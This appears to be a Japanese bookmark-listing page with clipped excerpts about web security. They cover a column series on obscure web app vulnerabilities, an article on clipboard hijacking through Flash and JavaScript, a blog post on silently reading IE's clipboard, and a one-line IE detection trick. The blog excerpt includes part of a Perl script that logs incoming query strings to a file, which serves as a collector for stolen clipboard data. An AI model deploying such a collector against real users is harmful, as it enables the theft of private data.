XSSにCSRFにSQLインジェクションにディレクトリトラバーサル……Webアプリケーションのプログラマが知っておくべき脆弱性はいっぱいあります。そこで本連載では、そのようなメジャーなもの“以外”も掘り下げていきます（編集部） 小さな話題が面白い 皆さん、はじめまして。はせがわようすけと申します。 「教科書に載らないWebアプリケーションセキュリティ」ということで、Webアプリケーションのセキュリティに関連する、普段あまり見掛けないような小さな話題を取り上げていきたいと思います。 セキュアなWebアプリケーションを実現するために、開発者の方だけでなく、Webアプリケーションの脆弱性検査を行う方々にも読んでいただきたいと思っています。重箱の隅を楊枝でほじくるような小さな話題ばかりですが、皆さんよろしくお願いします。 さて第1回は、Internet ExplorerがHTMLを解釈する際の引用
図はFlashコンテンツを悪用した例。Action Scriptが稼働して，クリップボードを乗っ取られると，何をコピーしても不正サイトのURLをペーストするようになってしまう。 クリップボードを狙う攻撃は以前からあるが，従来型の攻撃は，ユーザーがデータをコピーしたときにクリップボードに記録される情報を盗み取ることが目的だった。キーロガーやScreen Scrapersと同様に，ユーザーのアカウント情報や個人情報を詐取するものである。 しかし今回見つかった攻撃は，従来のものとはタイプが違う。動作は従来型の攻撃とは逆で，ユーザーのクリップボードを乗っ取り，攻撃者が意図した情報をクリップボードに書き込むのである。 JavaScriptでクリップボードを操作 従来のクリップボードに記録されたデータを狙った攻撃の多くは，前述のようにJavaScriptを利用する。例えば，写真1は海外のニュース・サイ
IE には、便利な機能がある。それは、スクリプト（JavaScript etc..）でクリップボードの操作ができるのだ。clipboardData というオブジェクトね。操作できる内容は、クリップボードにデータを読み込むこと（setData）、読み出すこと（getData）、消去すること（clearData）の3種類。 読み出すことも可能なんですよね。しかも、デフォルトでは、警告すら出ない。 以下のような、プログラムを準備しよう。 #!/usr/bin/perl use strict; my $file = '/tmp/cb.txt'; open (CB, ">> $file"); print CB "$ENV{'QUERY_STRING'}\n"; close (CB); print "Status: 301 Moved Permanently\n"; print "Location:
Dean Edwards: Sniff! My current frog exaggerator of choice JavaScriptでIEかどうかをたったの1行で判別する方法。 なんと、次の1行だけで、isMSIE 変数に、IEで見れば true 、そうでなければ false を代入することが出来ます。 var isMSIE = /*@cc_on!@*/false; 次のサンプルコードで確認しました。 <html> <script language="javascript"> var isMSIE = /*@cc_on!@*/false; if (isMSIE) { alert('IE!'); } else { alert('not IE!'); } </script> <body> </body> </html> IEであれば IE! を alert し、そうでなければ not I
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
処理を実行中です
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く